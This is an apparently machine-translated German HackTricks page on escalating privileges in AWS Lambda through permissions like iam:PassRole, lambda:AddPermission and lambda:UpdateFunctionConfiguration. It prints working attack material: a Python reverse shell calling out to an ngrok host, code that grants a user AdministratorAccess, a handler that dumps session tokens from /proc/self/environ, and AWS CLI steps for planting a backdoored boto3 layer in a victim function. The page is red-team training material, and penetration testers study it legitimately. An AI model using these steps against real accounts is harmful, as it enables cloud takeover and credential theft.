AWS - Lambda Privesc

Erlernen Sie AWS-Hacking von Grund auf mit htARTE (HackTricks AWS Red Team Expert)!

Andere Möglichkeiten, HackTricks zu unterstützen:

lambda

Weitere Informationen zu Lambda finden Sie unter:

pageAWS - Lambda Enum

iam:PassRole, lambda:CreateFunction, (lambda:InvokeFunction | lambda:InvokeFunctionUrl)

Benutzer mit den Berechtigungen iam:PassRole, lambda:CreateFunction und lambda:InvokeFunction können ihre Privilegien eskalieren. Sie können eine neue Lambda-Funktion erstellen und ihr eine vorhandene IAM-Rolle zuweisen, wodurch der Funktion die mit dieser Rolle verbundenen Berechtigungen gewährt werden. Der Benutzer kann dann Code für diese Lambda-Funktion schreiben und hochladen (zum Beispiel mit einem Reverse-Shell). Sobald die Funktion eingerichtet ist, kann der Benutzer deren Ausführung auslösen und die beabsichtigten Aktionen durch Aufrufen der Lambda-Funktion über die AWS-API ausführen. Auf diese Weise kann der Benutzer effektiv Aufgaben indirekt über die Lambda-Funktion ausführen und dabei mit dem Zugriffsniveau arbeiten, das der mit ihr verbundenen IAM-Rolle gewährt wurde.\

Ein Angreifer könnte dies missbrauchen, um eine Reverse-Shell zu erhalten und das Token zu stehlen:

rev.py
import socket,subprocess,os,time
def lambda_handler(event, context):
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect(('4.tcp.ngrok.io',14305))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(['/bin/sh','-i'])
time.sleep(900)
return 0
# Zip the rev shell
zip "rev.zip" "rev.py"

# Create the function
aws lambda create-function --function-name my_function \
--runtime python3.9 --role <arn_of_lambda_role> \
--handler rev.lambda_handler --zip-file fileb://rev.zip

# Invoke the function
aws lambda invoke --function-name my_function output.txt
## If you have the lambda:InvokeFunctionUrl permission you need to expose the lambda inan URL and execute it via the URL

# List roles
aws iam list-attached-user-policies --user-name <user-name>

Du könntest auch die Berechtigungen der Lambda-Rolle missbrauchen, die in der Lambda-Funktion selbst definiert sind. Wenn die Lambda-Rolle ausreichend Berechtigungen hatte, könntest du sie nutzen, um dir Administratorrechte zu gewähren:

import boto3
def lambda_handler(event, context):
client = boto3.client('iam')
response = client.attach_user_policy(
UserName='my_username',
PolicyArn='arn:aws:iam::aws:policy/AdministratorAccess'
)
return response

Es ist auch möglich, die Rollenberechtigungen der Lambda auszulesen, ohne eine externe Verbindung zu benötigen. Dies wäre nützlich für Netzwerkisolierte Lambdas, die für interne Aufgaben verwendet werden. Wenn unbekannte Sicherheitsgruppen Ihre Reverse-Shells filtern, ermöglicht Ihnen dieses Code-Stück, die Berechtigungen direkt als Ausgabe der Lambda auszulesen.

def handler(event, context):
sessiontoken = open('/proc/self/environ', "r").read()
return {
'statusCode': 200,
'session': str(sessiontoken)
}
aws lambda invoke --function-name <lambda_name> output.txt
cat output.txt

Potenzielle Auswirkungen: Direktes Privilege Escalation auf die angegebene Lambda-Service-Rolle.

Beachten Sie, dass selbst wenn es interessant aussieht, lambda:InvokeAsync allein nicht die Ausführung von aws lambda invoke-async ermöglicht. Sie benötigen auch lambda:InvokeFunction.

iam:PassRole, lambda:CreateFunction, lambda:AddPermission

Wie im vorherigen Szenario können Sie sich die Berechtigung lambda:InvokeFunction erteilen, wenn Sie die Berechtigung lambda:AddPermission haben.

# Check the previous exploit and use the following line to grant you the invoke permissions
aws --profile "$NON_PRIV_PROFILE_USER" lambda add-permission --function-name my_function \
--action lambda:InvokeFunction --statement-id statement_privesc --principal "$NON_PRIV_PROFILE_USER_ARN"

Potenzielle Auswirkungen: Direktes Privilegien-Eskalation zum angegebenen Lambda-Dienstrollen.

iam:PassRole, lambda:CreateFunction, lambda:CreateEventSourceMapping

Benutzer mit den Berechtigungen iam:PassRole, lambda:CreateFunction und lambda:CreateEventSourceMapping (und möglicherweise dynamodb:PutItem und dynamodb:CreateTable) können indirekt Privilegien eskalieren, selbst ohne lambda:InvokeFunction. Sie können eine Lambda-Funktion mit bösartigem Code erstellen und ihr eine vorhandene IAM-Rolle zuweisen.

Anstatt die Lambda direkt aufzurufen, richtet der Benutzer eine vorhandene DynamoDB-Tabelle ein oder nutzt sie, indem er sie über ein Ereignisquellen-Mapping mit der Lambda verknüpft. Diese Einrichtung stellt sicher, dass die Lambda-Funktion automatisch ausgelöst wird, wenn ein neuer Eintrag in der Tabelle erfolgt, entweder durch die Aktion des Benutzers oder einen anderen Prozess, wodurch die Lambda-Funktion indirekt aufgerufen und der Code mit den Berechtigungen der übergebenen IAM-Rolle ausgeführt wird.

aws lambda create-function --function-name my_function \
--runtime python3.8 --role <arn_of_lambda_role> \
--handler lambda_function.lambda_handler \
--zip-file fileb://rev.zip

Wenn DynamoDB bereits in der AWS-Umgebung aktiv ist, muss der Benutzer nur die Ereignisquellenzuordnung für die Lambda-Funktion einrichten. Wenn DynamoDB jedoch nicht verwendet wird, muss der Benutzer eine neue Tabelle mit aktiviertem Streaming erstellen:

aws dynamodb create-table --table-name my_table \
--attribute-definitions AttributeName=Test,AttributeType=S \
--key-schema AttributeName=Test,KeyType=HASH \
--provisioned-throughput ReadCapacityUnits=5,WriteCapacityUnits=5 \
--stream-specification StreamEnabled=true,StreamViewType=NEW_AND_OLD_IMAGES

Jetzt ist es möglich, die Lambda-Funktion mit der DynamoDB-Tabelle zu verbinden, indem Sie ein Ereignisquellen-Mapping erstellen:

aws lambda create-event-source-mapping --function-name my_function \
--event-source-arn <arn_of_dynamodb_table_stream> \
--enabled --starting-position LATEST

Mit der Lambda-Funktion, die mit dem DynamoDB-Stream verknüpft ist, kann der Angreifer die Lambda indirekt auslösen, indem er den DynamoDB-Stream aktiviert. Dies kann erreicht werden, indem er einen Eintrag in die DynamoDB-Tabelle einfügt:

aws dynamodb put-item --table-name my_table \
--item Test={S="Random string"}

Potenzielle Auswirkungen: Direkter Privilege Escalation zum angegebenen Lambda-Service-Roll.

lambda:AddPermission

Ein Angreifer mit dieser Berechtigung kann sich selbst (oder anderen) beliebige Berechtigungen gewähren (dies generiert ressourcenbasierte Richtlinien, um Zugriff auf die Ressource zu gewähren):

# Give yourself all permissions (you could specify granular such as lambda:InvokeFunction or lambda:UpdateFunctionCode)
aws lambda add-permission --function-name <func_name> --statement-id asdasd --action '*' --principal arn:<your user arn>

# Invoke the function
aws lambda lambda invoke --function-name <func_name> /tmp/outout

Potenzielle Auswirkungen: Direktes Privilegien-Eskalation zum Lambda-Service-Rolle durch Berechtigung zur Änderung des Codes und Ausführung.

lambda:AddLayerVersionPermission

Ein Angreifer mit dieser Berechtigung kann sich selbst (oder anderen) die Berechtigung lambda:GetLayerVersion gewähren. Er könnte auf die Ebene zugreifen und nach Schwachstellen oder sensiblen Informationen suchen.

# Give everyone the permission lambda:GetLayerVersion
aws lambda add-layer-version-permission --layer-name ExternalBackdoor --statement-id xaccount --version-number 1 --principal '*' --action lambda:GetLayerVersion

Potenzielle Auswirkungen: Direkter Privilege Escalation zum verwendeten Lambda-Service-Rolle.

lambda:UpdateFunctionConfiguration

Einführung

Lambda Layers ermöglicht es, Code in Ihre Lambda-Funktion einzuschließen, ihn jedoch getrennt zu speichern, sodass der Funktionscode klein bleiben kann und mehrere Funktionen Code teilen können.

Innerhalb von Lambda können Sie die Pfade überprüfen, von denen aus Python-Code mit einer Funktion wie der folgenden geladen wird:

import json
import sys

def lambda_handler(event, context):
print(json.dumps(sys.path, indent=2))

Diese sind die Orte:

  1. /var/task

  2. /opt/python/lib/python3.7/site-packages

  3. /opt/python

  4. /var/runtime

  5. /var/lang/lib/python37.zip

  6. /var/lang/lib/python3.7

  7. /var/lang/lib/python3.7/lib-dynload

  8. /var/lang/lib/python3.7/site-packages

  9. /opt/python/lib/python3.7/site-packages

  10. /opt/python

Zum Beispiel wird die Bibliothek boto3 aus /var/runtime/boto3 (4. Position) geladen.

Ausnutzung

Es ist möglich, die Berechtigung lambda:UpdateFunctionConfiguration zu missbrauchen, um eine neue Schicht zu einer Lambda-Funktion hinzuzufügen. Um beliebigen Code auszuführen, muss diese Schicht einige Bibliothek enthalten, die die Lambda importieren wird. Wenn Sie den Code der Lambda lesen können, könnten Sie dies leicht finden. Beachten Sie auch, dass es möglich ist, dass die Lambda bereits eine Schicht verwendet und Sie die Schicht herunterladen und Ihren Code hinzufügen könnten.

Angenommen, die Lambda verwendet beispielsweise die Bibliothek boto3, dies erstellt eine lokale Schicht mit der neuesten Version der Bibliothek:

pip3 install -t ./lambda_layer boto3

Du kannst ./lambda_layer/boto3/__init__.py öffnen und die Hintertür im globalen Code hinzufügen (zum Beispiel eine Funktion zum Exfiltrieren von Anmeldeinformationen oder zum Erhalten einer Reverse-Shell).

Dann zippe das ./lambda_layer Verzeichnis und lade die neue Lambda-Schicht hoch in dein eigenes Konto (oder in das des Opfers, aber dafür hast du möglicherweise keine Berechtigungen). Beachte, dass du einen Python-Ordner erstellen musst und die Bibliotheken darin platzieren musst, um /opt/python/boto3 zu überschreiben. Außerdem muss die Schicht mit der Python-Version kompatibel sein, die von der Lambda verwendet wird, und wenn du sie in dein Konto hochlädst, muss sie in der gleichen Region sein:

aws lambda publish-layer-version --layer-name "boto3" --zip-file file://backdoor.zip --compatible-architectures "x86_64" "arm64" --compatible-runtimes "python3.9" "python3.8" "python3.7" "python3.6"

Jetzt machen Sie die hochgeladene Lambda-Schicht für jedes Konto zugänglich:

aws lambda add-layer-version-permission --layer-name boto3 \
--version-number 1 --statement-id public \
--action lambda:GetLayerVersion --principal *

Und fügen Sie die Lambda-Schicht der Opfer-Lambda-Funktion hinzu:

aws lambda update-function-configuration \
--function-name <func-name> \
--layers arn:aws:lambda:<region>:<attacker-account-id>:layer:boto3:1 \
--timeout 300 #5min for rev shells

Der nächste Schritt wäre entweder die Funktion selbst aufzurufen, falls wir dazu in der Lage sind, oder darauf zu warten, dass sie auf herkömmliche Weise aufgerufen wird - was die sicherere Methode ist.

Eine unauffälligere Möglichkeit, diese Schwachstelle auszunutzen, findet sich in:

pageAWS - Lambda Layers Persistence

Potenzielle Auswirkungen: Direkter Privilege Escalation zum verwendeten Lambda-Service-Rolle.

?iam:PassRole, lambda:CreateFunction, lambda:CreateFunctionUrlConfig, lambda:InvokeFunctionUrl

Vielleicht können Sie mit diesen Berechtigungen eine Funktion erstellen und sie aufrufen, indem Sie die URL aufrufen... aber ich konnte keinen Weg finden, um es zu testen, also lassen Sie mich wissen, wenn Sie es tun!

Lambda MitM

Einige Lambdas erhalten sensible Informationen von den Benutzern in Parametern. Wenn Sie RCE in einer davon erhalten, können Sie die Informationen exfiltrieren, die andere Benutzer an sie senden, überprüfen Sie dies in:

pageAWS - Steal Lambda Requests

Referenzen

Erlernen Sie AWS-Hacking von Null auf Held mit htARTE (HackTricks AWS Red Team Expert)!

Andere Möglichkeiten, HackTricks zu unterstützen:

Last updated